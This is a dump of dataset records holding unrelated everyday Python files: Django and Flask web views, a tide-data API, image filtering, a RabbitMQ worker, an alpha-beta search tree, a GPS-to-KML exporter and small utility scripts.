\"C:\\\\Users\\\\eduar\\\\Desktop\\\\ficahs\\\\novas fichas\\\\Imagens\\\\\"\r\n\r\n#acessa o diretorio de forma recursiva para acessar as subpastas\r\nfor root, dir, files in os.walk(path):\r\n #acessa as subpastas para acessas os arquivos dentro delas\r\n for file in files:\r\n dirname = ntpath.basename(root)\r\n #caminho original\r\n ori = root + '\\\\' + file\r\n #adiciona o nome da pasta + underscore + a posição do arquivo + a extensão\r\n name, ext = os.path.splitext(file) \r\n dest = dirname + '_' + str(files.index(file)) + ext\r\n os.rename(ori, dest)\r\n \r\n\r\n\r\n\r\n \r\n","sub_path":"renomear_arquivos.py","file_name":"renomear_arquivos.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183790088","text":"from django.core.management.base import BaseCommand, CommandError\nfrom randomuser.models import Users\n\n\nclass Command(BaseCommand):\n def add_arguments(self, parser):\n parser.add_argument('name', type=str)\n\n def handle(self, *args, **options):\n name_up = options.get('name')\n users = Users.objects.filter(name=name_up)\n if users.exists():\n users.delete()\n else:\n raise CommandError(\"Not found\")\n","sub_path":"randomuser/management/commands/delete_command.py","file_name":"delete_command.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"136411146","text":"from django.shortcuts import render, redirect\nfrom .models import Person, Social, Skill, Education, Experience, Stat, ImagePortfolio, SliderPortfolio, YoutubeVideoPortfolio, LocalVideoPortfolio\nfrom django.views.generic import UpdateView\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.mail import send_mail, BadHeaderError\nfrom .forms import ContactForm\n\n\n\"\"\" \nContext ={} is being used as a context dictionary to make to code look a bit cleaner and easier to understand.\n\n\n\"\"\"\n\n\n#Home page Views \n\ndef HomeView(request):\n persons = Person.objects.first()\n socials = Social.objects.all()\n\n context = {'persons':persons, 'socials': socials}\n return render(request, \"resume/home.html\", context)\n\n#About page Fuction based View \n\ndef AboutView(request):\n persons = Person.objects.first()\n skills = Skill.objects.all()\n experiences = Experience.objects.all()\n education = Education.objects.all()\n stat = Stat.objects.first()\n\n context = {'persons':persons,\n 'skills':skills,\n 'experiences':experiences,\n 'education':education,\n 'stat':stat,\n \n }\n return render(request, \"resume/about.html\", context)\n\n\n#Portfolio page unction based view\ndef PortfolioView(request):\n image_portfolio = ImagePortfolio.objects.all()\n slider_portfolio = SliderPortfolio.objects.all()\n local_video_portfolio = LocalVideoPortfolio.objects.all()\n youtube_portfolio = YoutubeVideoPortfolio.objects.all()\n\n\n\n context = {'image_portfolio':image_portfolio,\n 'slider_portfolio': slider_portfolio,\n 'local_video_portfolio':local_video_portfolio,\n 'youtube_portfolio':youtube_portfolio,\n }\n return render(request, \"resume/portfolio.html\", context)\n\n\n#Contact me page Fuction based view \ndef ContactView(request):\n persons = Person.objects.first()\n socials = Social.objects.all()\n form = ContactForm()\n\n if request.method == 'GET':\n form = ContactForm()\n else:\n form = ContactForm(request.POST)\n if form.is_valid():\n subject = form.cleaned_data['subject']\n from_email = form.cleaned_data['from_email']\n message = form.cleaned_data['message']\n try:\n send_mail(subject, message, from_email, ['bukhosi@symaxx.com'])\n except BadHeaderError:\n return HttpResponse('Invalid header found.')\n return redirect('home')\n\n\n context={'persons': persons, 'socials':socials, 'form':form}\n return render(request, \"resume/contact.html\", context)\n\n\"\"\" ######################## END FRONT VIEWS ############################ \"\"\"\n\n#These will all be dashboard view to make sure that we have easier way to edit and change our portfolio\n\nclass PortfolioEdit(UpdateView):\n model = Person\n template_name = \"resume/portfolio-edit.html\"\n fields = '__all__'","sub_path":"resume/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"567832112","text":"# -*- coding: utf-8 -*-\r\n\r\nif not request.is_local: raise HTTP(200, 'error')\r\n\r\ndef recalc():\r\n wagers_count = bets_count = 0\r\n for cash in db(db.cash.used==True).select():\r\n cash_id = cash.id\r\n wagers_cash = bets_cash = 0\r\n total = Decimal(0)\r\n sts = db(db.stats_cash.cash_id == cash_id).select().first()\r\n if not sts:\r\n sts = db.stats_cash[ db.stats_cash.insert( cash_id = cash_id )]\r\n for wager in db(db.wagers.cash_id == cash_id ).select():\r\n total += wager.total\r\n wagers_cash += 1\r\n sts.update_record( total = total, wagers = wagers_cash )\r\n wagers_count += wagers_cash\r\n\r\n stats = db(db.stats).select().first()\r\n stats.update_record( men = db(db.men).count(), wagers = wagers_count, bets = bets_count)\r\n\r\ndef index():\r\n h = CAT()\r\n for cash in db(db.cash.used==True).select():\r\n cash_id = cash.id\r\n sts = db(db.stats_cash.cash_id == cash_id).select().first()\r\n if not sts: continue\r\n h += SPAN(' ', round(float(sts.total),6),\r\n IMG(_src=URL('static', 'images/cash/' + cash.img_name), _width=30, _alt=''))\r\n return dict(h=h)\r\n","sub_path":"controllers/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"36909533","text":"import requests\nimport json\nfrom comon.log_handel import logger\nclass Request:\n def __init__(self,url):\n \"\"\"\n :param url: 必须传入的url\n \"\"\"\n self.url = url\n def re_get(self,*args,**kwargs):\n \"\"\"\n :param args: get请求传入的参数\n :param kwargs:\n :return:\n \"\"\"\n res = requests.get(self.url,*args,**kwargs)\n return res.text\n\n def re_post(self,body,*args,**kwargs):\n \"\"\"\n :param body: 请求体\n :param headers: 请求头，以及其他的内容\n :param kwargs:\n :return:\n \"\"\"\n res = requests.post(self.url,json.dumps(body),*args,**kwargs)\n return res.text\n\n\n def res(self,request,body,*args,**kwargs):\n logger.info(\"你输入的请求为{}\".format(request))\n if request.lower() == \"get\":\n\n res = self.re_get(*args,**kwargs)\n return res\n elif request.lower() == \"post\":\n res = self.re_post(body,*args,**kwargs)\n return res\n else:\n # return '你输入请求error{}'.format(request)\n logger.info('该版本没有您输入这种请求的处理方法{}'.format(request))\n\n\n\nif __name__ == '__main__':\n\n url= \"http://120.78.128.25:8766/futureloan/member/register\"\n\n hea = {\"Content-Type\":'application/json',\"X-Lemonban-Media-Type\":'lemonban.v2'}\n\n ti = {\"mobile_phone\":\"13891291198\",\"pwd\":\"hello1223\"}\n\n R = Request(url)\n c=R.res(request='pot',body=ti,headers=hea)\n\n","sub_path":"comon/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"172468890","text":"import itchat\nimport time\n\n\ndef itchat_SendMsg(nm, msg, second=None):\n from time import time\n\n try:\n itchat.auto_login(hotReload=True)\n myfriend = itchat.search_friends(name=nm)\n myfriendUserName = myfriend[0]['UserName']\n print(myfriendUserName)\n itchat.send(msg, toUserName=myfriendUserName)\n if second != None:\n t = time(second, itchat_SendMsg(nm, msg, second))\n t.start()\n except:\n message = u'It is wrong!!'\n itchat.send(message, toUserName='filehelper')\n\n\nif __name__ == '__main__':\n\n lines_list = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"]\n sleep_list = [5, 10, 4, 13, 9, 6, 11]\n\n j = 0\n\n while True:\n for i in range(len(lines_list)):\n itchat_SendMsg('Shadow', lines_list[i])\n j += 1\n\n # for num in range(len(sleep_list)):\n # time.sleep(sleep_list[num])\n\n if j >= 30:\n break\n\n print(\"It's OK!!!\")\n\n\n\n\n","sub_path":"Python/try_test/daughter.py","file_name":"daughter.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335958643","text":"import json\nimport pandas as pd\nimport requests\nfrom flask import Flask, request, Response, make_response\nimport process\n\napp = Flask(__name__)\n\ndata = process.Reader('tideReadings.csv')\nstation_data = pd.read_csv(\"stations.csv\")\n\n\n# This is a stub showing the beginnings of one required endpoint\n# Must be editted to match API.rst description.\n@app.route('/station/json', methods=[\"GET\"])\ndef station_info():\n \"\"\"Return station info.\n\n The endpoint accepts query parameters:\n * stationName\n * stationRef\n\n At least one must be present.\n \"\"\"\n\n station_reference = request.args.get(\"stationReference\")\n station_name = request.args.get(\"stationName\")\n station_name = station_name.replace(\" \",\"+\")\n \n if station_name is not None:\n station = station_data.loc[station_data.stationName == station_name]\n else:\n station = station_data.loc[station_data.stationReference == station_reference]\n result_station = station.iloc[0]\n\n details = requests.get(result_station.stationURL).json()\n result = {\n \"stationName\": result_station.stationName,\n \"stationReference\": result_station.stationReference,\n \"northing\": details['items']['northing'],\n \"easting\": details['items']['easting'],\n \"latitude\": details['items']['lat'],\n \"longitude\": details['items']['long']\n }\n return json.dumps(result)\n\n# This is an example of a quick way to send a file.\n# There is plenty of room for improvement.\n@app.route('/data/graph', methods=[\"GET\"])\ndef data_graph():\n \"\"\"Return a graph of station data.\n\n The endpoint accepts query parameters:\n * stationName\n * stationRef\n * from\n * to\n \"\"\"\n station_reference = request.args.get(\"stationReference\")\n station_name = request.args.get(\"stationName\")\n station_name = station_name.replace(\" \",\"+\")\n\n if station_name is not None:\n # station_data = station_data.replace(\" \", \"+\")\n station = station_data.loc[station_data.stationName == station_name]\n else:\n station = station_data.loc[station_data.stationReference == station_reference]\n result_station = station.iloc[0]\n\n # Get optional parameters\n time_from = request.args.get(\"from\")\n time_to = request.args.get(\"to\")\n if time_from:\n pass\n else:\n time_from = None\n if time_to:\n pass\n else:\n time_to = None\n # plot pic\n magic_trick= data.station_graph(result_station.stationName, time_from, time_to)\n # img_stream = io.BytesIO(img)\n # img = Image.open(img_stream)\n # imgByteArr = io.BytesIO()\n # img.save(imgByteArr,format='PNG')\n # imgByteArr = imgByteArr.getvalue()\n # return send_file(io.BytesIO(imgByteArr),\n # mimetype = 'image/png',\n # as_attachment = True,\n # attachment_filename = 'tmp.png')\n image_data = open(\"tmp.png\", \"rb\").read()\n response = make_response(image_data)\n response.headers['Content-Type'] = 'image/png'\n return response\n\n\n\n@app.route('/data/json', methods=[\"GET\", \"POST\"])\ndef station_tide_info():\n if request.method == 'GET':\n station_reference = request.args.get(\"stationReference\")\n station_name = request.args.get(\"stationName\")\n station_name = station_name.replace(\" \",\"+\")\n\n if station_name is not None:\n station = station_data.loc[station_data.stationName == station_name]\n else:\n station = station_data.loc[station_data.stationReference == station_reference]\n # print(station)\n result_station = station.iloc[0]\n # print(\"*****************\\n\")\n # print(result_station)\n # print(result_station.stationName)\n\n time_from = request.args.get(\"from\")\n time_to = request.args.get(\"to\")\n\n if time_from:\n pass\n else:\n time_from = None\n if time_to:\n pass\n else:\n time_to = None\n \n statistic = request.args.get(\"statistic\")\n if statistic is not None:\n statistic = statistic.split(',')\n # Build result map\n # print(\"**********\")\n # print(\"statistic: \", statistic)\n # print(\"**********\")\n\n tide_values = data.station_tides(result_station.stationName, time_from, time_to)\n # print(\"**********\")\n # print(tide_values)\n # print(\"**********\")\n result_map = {\n \"stationName\": result_station.stationName,\n \"from\": tide_values.index[0],\n \"to\": tide_values.index[-1]\n }\n # print(\"**********\")\n # print(result_map)\n # print(\"**********\")\n\n if statistic[0] is None:\n result_map['tideValues'] = json.loads(tide_values.to_json())\n return json.dumps(result_map)\n\n elif statistic[0] == 'max':\n result_map['stationReference'] = result_station.stationReference\n result_map['max'] = data.max_tides()[result_station.stationName]\n return json.dumps(result_map)\n\n elif statistic[0] == 'min':\n result_map['stationReference'] = result_station.stationReference\n result_map['min'] = data.min_tides()[result_station.stationName]\n return json.dumps(result_map)\n\n elif statistic[0] == 'mean':\n # print(\"*************\\nI AM HERE\")\n # print(result_map)\n # print(\"*************\")\n result_map['stationReference'] = result_station.stationReference\n result_map['mean'] = data.mean_tides()[result_station.stationName]\n # print(\"*************\")\n # print(result_map)\n # print(\"*************\")\n return json.dumps(result_map)\n\n if request.method == \"POST\":\n write = request.args.get(\"write\")\n if write.lower() == 'true':\n write = True\n else:\n write = False\n\n data_to_add = json.loads(request.get_data())\n for new_data in data_to_add:\n data.add_data(new_data['dateTime'], new_data['stationName'], new_data['tideValue'])\n if write is not None:\n data.write_data('tideReadings.csv')\n return json.dumps({\"msg\": \"Data added successfully!\"})\n\n\n@app.route('/data/html', methods=[\"GET\"])\ndef draw_html():\n \"\"\"Return station tide info.\n\n The endpoint accepts query parameters:\n * stationName\n * stationRef\n * from\n * to\n * statistic\n \"\"\"\n station_reference = request.args.get(\"stationReference\")\n station_name = request.args.get(\"stationName\")\n station_name = station_name.replace(\" \",\"+\")\n # print(\"**********\")\n # print(station_name)\n # print(\"**********\")\n # print(\"**********\")\n # print(station_data.stationName)\n # print(\"**********\") \n if station_name:\n station = station_data.loc[station_data.stationName == station_name]\n else:\n station = station_data.loc[station_data.stationReference == station_reference]\n # print(station)\n # print(\"**********\")\n # print(station)\n # print(\"**********\")\n result_station = station.iloc[0]\n # print(\"**********\")\n # print(result_station)\n # print(\"**********\")\n time_from = request.args.get(\"from\")\n time_to = request.args.get(\"to\")\n if time_from:\n pass\n else:\n time_from = None\n if time_to:\n pass\n else:\n time_to = None\n\n statistic = request.args.get(\"statistic\")\n if statistic is not None:\n statistic = statistic.split(',')\n\n if result_station is not None:\n tide_values = data.station_tides(result_station.stationName, time_from, time_to).reset_index()\n tide_values.rename(columns={result_station.stationName: 'tideValue'}, inplace=True)\n return tide_values.to_html(index=False)\n\n if statistic is not None:\n # print(\"**********\")\n # print(statistic)\n # print(\"**********\")\n frames = []\n for statistic_method in statistic:\n if statistic_method == 'max':\n frames.append(data.max_tides(time_from, time_to))\n elif statistic_method == 'min':\n frames.append(data.min_tides(time_from, time_to))\n else:\n frames.append(data.mean_tides(time_from, time_to))\n # print(\"**********\")\n # print(result)\n # print(\"**********\")\n\n result = pd.concat(frames, axis=1, keys=statistic).reset_index()\n return result.to_html(index=False)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"612064119","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nsrc_img = cv2.imread('asuka.jpg')\ngray = cv2.cvtColor(src_img,cv2.COLOR_BGR2GRAY)\n\nfourier_img = np.fft.fft2(gray)\nfourier_img = np.fft.fftshift(fourier_img)\n\nH,W = gray.shape\ncenterx = int(W/2)\ncentery = int(H/2)\n\nmask = np.zeros_like(gray)\nR = 50\nfor x in range(0,W):\n for y in range(0,H):\n if (x- centery)**2 +(y- centery)**2>R**2:\n mask[x,y]=1\n\n# mask = 255- mask\ntmp = mask * 255\ncv2.imshow('mask',tmp)\n\nprint(mask)\nfourier_img *= mask\nfourier_img = np.fft.fftshift(fourier_img)\nifimg = np.fft.ifft2(fourier_img)\nifimg = np.uint8(ifimg.real)\n\n\ncv2.imshow('lp',ifimg)\ncv2.waitKey()\ncv2.destroyAllWindows()","sub_path":"High_Pass_Filter.py","file_name":"High_Pass_Filter.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183657299","text":"#\n# @lc app=leetcode id=287 lang=python3\n#\n# [287] Find the Duplicate Number\n#\n# https://leetcode.com/problems/find-the-duplicate-number/description/\n#\n# algorithms\n# Medium (50.83%)\n# Total Accepted: 214.9K\n# Total Submissions: 422.7K\n# Testcase Example: '[1,3,4,2,2]'\n#\n# Given an array nums containing n + 1 integers where each integer is between 1\n# and n (inclusive), prove that at least one duplicate number must exist.\n# Assume that there is only one duplicate number, find the duplicate one.\n# \n# Example 1:\n# \n# \n# Input: [1,3,4,2,2]\n# Output: 2\n# \n# \n# Example 2:\n# \n# \n# Input: [3,1,3,4,2]\n# Output: 3\n# \n# Note:\n# \n# \n# You must not modify the array (assume the array is read only).\n# You must use only constant, O(1) extra space.\n# Your runtime complexity should be less than O(n2).\n# There is only one duplicate number in the array, but it could be repeated\n# more than once.\n# \n# \n#\nclass Solution:\n # def findDuplicate(self, nums: List[int]) -> int:\n def findDuplicate(self, nums) -> int:\n # n = len(nums) - 1\n # res = sum(nums) - (1+n)*n // 2\n # return res\n for i in range(len(nums)):\n if nums[abs(nums[i])-1] > 0:\n nums[abs(nums[i])-1] = 0 - nums[abs(nums[i])-1]\n else:\n # print(nums[nums[i] - 1])\n # print('i=', i, nums[i])\n return abs(nums[i])\n # print(nums)\n\n def findDuplicate(self, nums):\n tortoise = hare = nums[0]\n while True:\n tortoise = nums[tortoise]\n hare = nums[nums[hare]]\n if tortoise == hare:\n break\n \n p1 = nums[0]\n p2 = tortoise\n while p1 != p2:\n p1 = nums[p1]\n p2 = nums[p2]\n return p1\n# s = Solution()\n# nums = [1,3,4,2,2]\n# print(s.findDuplicate(nums))\n# nums = [3,1,3,4,2]\n# print(s.findDuplicate(nums))\n\n# nums = [2,2,2,2,2]\n# print(s.findDuplicate(nums))\n","sub_path":"python/tests/287_find_the_duplicate_number.py","file_name":"287_find_the_duplicate_number.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"619206757","text":"import pika\nimport os\n\nREQUEST_QUEUE = 'requests'\nRESULT_QUEUE = 'results'\nHOST = os.environ['HOST']\nPORT = '5672'\nRABBITMQ_USER, RABBITMQ_PASS = 'guest', 'guest'\n\ncredentials = pika.PlainCredentials(RABBITMQ_USER, RABBITMQ_PASS)\nconnection = pika.BlockingConnection(pika.ConnectionParameters(\n host=HOST,\n port=PORT,\n socket_timeout=1000,\n credentials=credentials))\nchannel = connection.channel()\nchannel.queue_declare(queue=REQUEST_QUEUE)\nchannel.queue_declare(queue=RESULT_QUEUE)\n\n\ndef put_in_result_queue(message):\n channel.basic_publish(exchange='',\n routing_key=RESULT_QUEUE,\n body=message)\n\n\ndef parse_message(message):\n text = message.decode('utf-8')\n return [int(x) for x in text.split()]\n\n\ndef is_prime(number):\n if number < 2:\n return False\n return all([number % x != 0 for x in range(2, number)])\n\n\ndef find_primes(range_from, range_to):\n return [x for x in range(range_from, range_to) if is_prime(x)]\n\n\ndef write_result(range_from, range_to, result):\n message = f\"[{range_from} {range_to}]: \" + \", \".join(map(str, result))\n put_in_result_queue(message)\n\n\ndef callback(ch, method, properties, body):\n message = body\n print(\"Received:\", message)\n range_from, range_to = parse_message(message)\n result = find_primes(range_from, range_to)\n write_result(range_from, range_to, result)\n ch.basic_ack(delivery_tag=method.delivery_tag)\n print(\"processed\")\n\n\nchannel.basic_consume(callback,\n queue=REQUEST_QUEUE)\n\nprint('Waiting for messages. To exit press CTRL+C')\nchannel.start_consuming()\n","sub_path":"list10/zad4/application/reciever.py","file_name":"reciever.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41473048","text":"\r\ndef creartxt():\r\n ar2=open(\"2.txt\",\"w\")\r\n ar2.close()\r\n\r\ndef grabar2():\r\n ar2=open(\"2.txt\",\"w\")\r\n ar2.write(\"\\tInvertir texto\\n\")\r\n def invertir():\r\n x = \"Diego Pilamunga\"\r\n ar2.write(\"Cadena de texto: \"+str(x)+\"\\n\")\r\n ar2.write(\"Cadena de texto invertida: \")\r\n n=(len(x)-1)\r\n while n!=-1:\r\n y=str(x[n])\r\n ar2.write(str(y))\r\n n=n-1\r\n invertir()\r\n\r\ncreartxt()\r\ngrabar2()","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"277045080","text":"import numpy as np\n\ndef softmax(x, scale = 1):\n x = np.array(x)/scale\n max_x = np.max(x)\n e_x = np.exp(x - max_x)\n p = e_x/e_x.sum()\n p = p/p.sum()\n\n return p\n\ndef logsumexp(x, scale = 1):\n x = np.array(x)/scale\n max_x = np.max(x)\n lse_x = max_x + np.log(np.exp(x-max_x).sum())\n lse_x = scale*lse_x\n return lse_x\n\ndef sparsedist(z, scale=1.):\n z = np.array(z/scale)\n if len(z.shape) == 1:\n z = np.reshape(z,(1,-1))\n z = z - np.mean(z, axis=1)[:, np.newaxis]\n\n # sort z\n z_sorted = np.sort(z, axis=1)[:, ::-1]\n\n # calculate k(z)\n z_cumsum = np.cumsum(z_sorted, axis=1)\n k = np.arange(1, z.shape[1] + 1)\n z_check = 1 + k * z_sorted > z_cumsum\n k_z = z.shape[1] - np.argmax(z_check[:, ::-1], axis=1)\n\n # calculate tau(z)\n tau_sum = z_cumsum[np.arange(0, z.shape[0]), k_z - 1]\n tau_z = ((tau_sum - 1) / k_z).reshape(-1, 1)\n\n # calculate p\n p = np.maximum(0, z - tau_z)\n return p \n\ndef sparsemax(z, scale=1.):\n z = np.array(z/scale) \n z = z - np.mean(z, axis=1)[:, np.newaxis]\n\n # calculate sum over S(z)\n p = sparsedist(z)\n s = p > 0\n # z_i^2 - tau(z)^2 = p_i (2 * z_i - p_i) for i \\in S(z)\n S_sum = np.sum(s * p * (2 * z - p), axis=1)\n\n return 0.5 * S_sum + 0.5\n\nif __name__ == '__main__':\n print(\"Main Started\")\n x = np.random.rand(5)\n print(x[range(0,len(x))])\n print(np.sort(x))\n print(np.max(x))\n print(logsumexp(x))\n print(sparsemax(x))\n print(softmax(x))\n print(sparsedist(x))","sub_path":"multigoal_experiments/maxapproxi.py","file_name":"maxapproxi.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"595332602","text":"from random import choice\n\nclass general_alphabeta_tree(object):\n\n def __init__(self, val, isMaximizingPlayer=True):\n self.val = val\n self.children = []\n self.alpha = float('inf')\n self.beta = float('-inf')\n self.isMaximizingPlayer = isMaximizingPlayer\n\n def AddSuccessor(self, T):\n T.isMaximizingPlayer = not self.isMaximizingPlayer\n self.children += [T]\n return True\n\n def evaluation(self):\n # Parameter: void\n # Return Type: float\n # A higher is a more prefered state\n # Implementation: REQUIRED\n raise NotImplementedError(\"The method 'evaluation(self)' was not implemented\")\n\n def isLeaf(self):\n # Parameter: void\n # Return Type: boolean\n # True = Node is a leaf node, i.e. no more Edges exist\n # False = Node is not a lead node\n # Implementation: REQUIRED\n raise NotImplementedError(\"The method 'isLeaf(self)' was not implemented\")\n\n def getEdges(self):\n # Parameter: void\n # Return Type: A list of Edges\n # See comments in self.search() for my definition of an Edge\n # Implementation: REQUIRED\n raise NotImplementedError(\"The method 'getEdges(self)' was not implemented\")\n\n def copy_node(self):\n # Parameter: void\n # Return Type: Child class that implements the general_search_tree class\n # Implementation: REQUIRED\n raise NotImplementedError(\"The method 'copy_node(self)' was not implemented\")\n\n def evolve(self, E):\n # Parameter: An Edge\n # Return Type: Child class that implements the general_search_tree class\n # Implementation: REQUIRED\n raise NotImplementedError(\"The method 'evolve(self, E)' was not implemented\")\n\n def search(self, depth):\n # Bad input\n if self.val == None:\n return False\n\n # Reached a terminating node (e.g. checkmate in chess)\n if self.isLeaf():\n return self.evaluation()\n # Reached end of depth\n if depth == 0:\n return self.evaluation()\n\n # Getting Edges\n # Edges take the parent node to the child node\n # For example if the game was chess, an edge would be moving a pawn to a2 to a4\n # and the evolve function is responsible for handling that logic\n # child = evolve(parent, Edges[i])\n Edges = self.getEdges()\n\n # Another possible way to handle a terminating node\n # TODO I don't think this ever gets called\n if Edges == []:\n return self.val.evaluation()\n\n # The core of the algorithm\n if self.isMaximizingPlayer:\n # initialize v\n v = float(\"-inf\")\n for E in Edges:\n # create child\n self.AddSuccessor( self.copy_node().evolve(E) )\n # searching\n v = max(v, self.children[-1].search(depth-1))\n # back propogating\n self.alpha = max(self.alpha, v)\n # pruning\n if self.beta >= self.alpha:\n break\n return v\n else:\n # initialize v\n v = float(\"inf\")\n for E in Edges:\n # create child\n self.AddSuccessor( self.copy_node().evolve(E) )\n # searching\n v = min(v, self.children[-1].search(depth-1))\n # back propogating\n self.beta = min(self.beta, v)\n # pruning\n if self.beta >= self.alpha:\n break\n return v\n\n def getBestChild(self, depth):\n # .search just returns the evaluation of a node, so we can't call it on the root\n # Instead we call it on every child and then return the child with the maximum evaluation\n\n # Getting Edges\n Edges = self.getEdges()\n # check if current state is already complete\n if Edges == []:\n return False\n\n # creating children\n for E in Edges:\n self.AddSuccessor( self.copy_node().evolve(E) )\n\n # Getting values of children\n children_alphabeta = [child.search(depth-1) for child in self.children]\n \"\"\"\n children_alphabeta = []\n for C in self.children:\n children_alphabeta += [C.search(depth-1)]\n \"\"\"\n\n # returning the appropriate child\n # just for variety, if there are multiple children with the same evaluation,\n # then it will return one of them at random\n if self.isMaximizingPlayer:\n max_child = max(children_alphabeta)\n return choice([ child for child, val in zip(self.children, children_alphabeta) if val == max_child ])\n #return choice([ self.children[i] for i in range(len(self.children)) if children_alphabeta[i] == max_child ])\n else:\n min_child = min(children_alphabeta)\n return choice([ child for child, val in zip(self.children, children_alphabeta) if val == min_child ])\n #return choice([ self.children[i] for i in range(len(self.children)) if children_alphabeta[i] == min_child ])\n","sub_path":"Data_Structures/Alpha-Beta Pruning/general_alphabeta_tree.py","file_name":"general_alphabeta_tree.py","file_ext":"py","file_size_in_byte":5252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"121332187","text":"#!/usr/bin/python3\n# coding=utf-8\n\"\"\"creates Google Earth kml file (/tmp/gps3_live.kml) for realtime (4 second GE default) updates of gps coordinates and history\n# Concept from Jaroslaw Zachwieja & TJ \n# from their work in gegpsd.py included in gpsd project (http://catb.org/gpsd)\n\"\"\"\nimport time\n\nfrom gps3 import gps3 # Moe, remember to CHANGE to straight 'import gps3' if not installed,\n\n# or check which Python version it's installed in. You forget sometimes.\n\n__author__ = 'Moe'\n__copyright__ = 'Copyright 2014-2016 Moe'\n__license__ = 'MIT'\n__version__ = '0.33.2'\n\nlink_file = '/tmp/gps3_live.kml' # AFAIK, 'Links' call href on time events or entry/exit Multiple href may be possible.\ngps3data_file = '/tmp/gps3_static.kml'\ngps3data_history = []\n\nlink_data = ('\\n'\n '\\n'\n '\\n'\n ' GPS3 Live\\n'\n ' \\n'\n ' {0}\\n'\n ' onInterval\\n'\n ' \\n'\n '\\n'\n '').format(gps3data_file) # inserts 'the file' into a refresh mode default 4 second\nf = open(link_file, 'w')\nf.write(link_data)\nf.close()\n\ngpsd_socket = gps3.GPSDSocket()\ngpsd_socket.connect(host='127.0.0.1', port=2947)\ngpsd_socket.watch()\ndata_stream = gps3.DataStream()\n\ntry:\n for new_data in gpsd_socket:\n if new_data:\n data_stream.unpack(new_data)\n if data_stream.TPV['lat'] != 'n/a':\n speed = data_stream.TPV['speed']\n latitude = data_stream.TPV['lat']\n longitude = data_stream.TPV['lon']\n altitude = data_stream.TPV['alt']\n\n if data_stream.TPV['track'] == 'n/a': heading = data_stream.TPV['track'] # 'track' frequently is missing and returns as 'n/a'\n else: heading = round(data_stream.TPV['track']) # and heading precision in hundreths is just clutter.\n\n gps3data_history.append(longitude)\n gps3data_history.append(latitude)\n gps3data_history.append(altitude)\n hist_string = str(gps3data_history).replace(' ', '') # GE > 7.1.xxxx spits up on spaces in \n\n static_file = ('\\n'\n '\\n'\n '\\n'\n ' Frankie likes walking and stopping \\n'\n\n ' \\n'\n ' {0:.2f} m/s {4}°\\n'\n ' Current gps location\\nAltitude: {3} Metres\\n'\n ' \\n'\n ' {1}\\n'\n ' {2}\\n'\n ' 600\\n'\n ' 0\\n'\n ' 0\\n'\n ' \\n'\n ' \\n'\n ' {1},{2},{3}\\n'\n ' \\n'\n ' \\n'\n\n ' \\n'\n ' Pin Scratches\\n'\n ' GPS Trail of Tears\\n'\n ' \\n'\n ' 7f0000ff\\n'\n ' 20\\n'\n ' 1\\n'\n ' {5}\\n'\n ' \\n'\n ' \\n'\n '\\n'\n '').format(speed, longitude, latitude, altitude, heading, hist_string.strip('[]'))\n\n f = open(gps3data_file, 'w')\n f.write(static_file)\n f.close()\n\n else:\n time.sleep(.1)\n time.sleep(.8) # default GE refresh rate is 4 seconds, therefore no refresh older than ~1 second from itself.\nexcept KeyboardInterrupt:\n gpsd_socket.close()\n print('\\nTerminated by user\\nGood Bye.\\n')\n# End\n","sub_path":"examples/gegps3.py","file_name":"gegps3.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"459078800","text":"from unittest import TestCase\nfrom datetime import datetime\nfrom proactive.priority.worker import Worker\nfrom proactive.priority.taskunit import TaskUnit\nfrom proactive.priority.exceptions import MaxTaskLimitReachedException\nfrom .testutil import tHour\n\nclass TestWorker(TestCase):\n def setUp(self):\n self.task1 = TaskUnit(\n createdAt=datetime.now(),\n deadline=500,\n profit=2.56,\n processing=100,\n taskID=\"test1234\"\n )\n self.task2 = TaskUnit(\n createdAt=datetime.now(),\n deadline=500,\n profit=2.56,\n processing=100,\n taskID=\"test1234\"\n )\n self.task3 = TaskUnit(\n createdAt=datetime.now(),\n deadline=500,\n profit=2.56,\n processing=100,\n taskID=\"test1234\"\n )\n\n def test_maxTasksLimit(self):\n worker = Worker(workerID=\"W1\", begin=tHour(0, 00), end=tHour(23, 59), multitask=2)\n worker.assignTask(self.task1)\n worker.assignTask(self.task2)\n with self.assertRaises(MaxTaskLimitReachedException):\n worker.assignTask(self.task3)\n\n def test_exactTaskLimit(self):\n worker = Worker(workerID=\"W1\", begin=tHour(0, 00), end=tHour(23, 59), multitask=2)\n worker.assignTask(self.task1)\n worker.assignTask(self.task2)\n 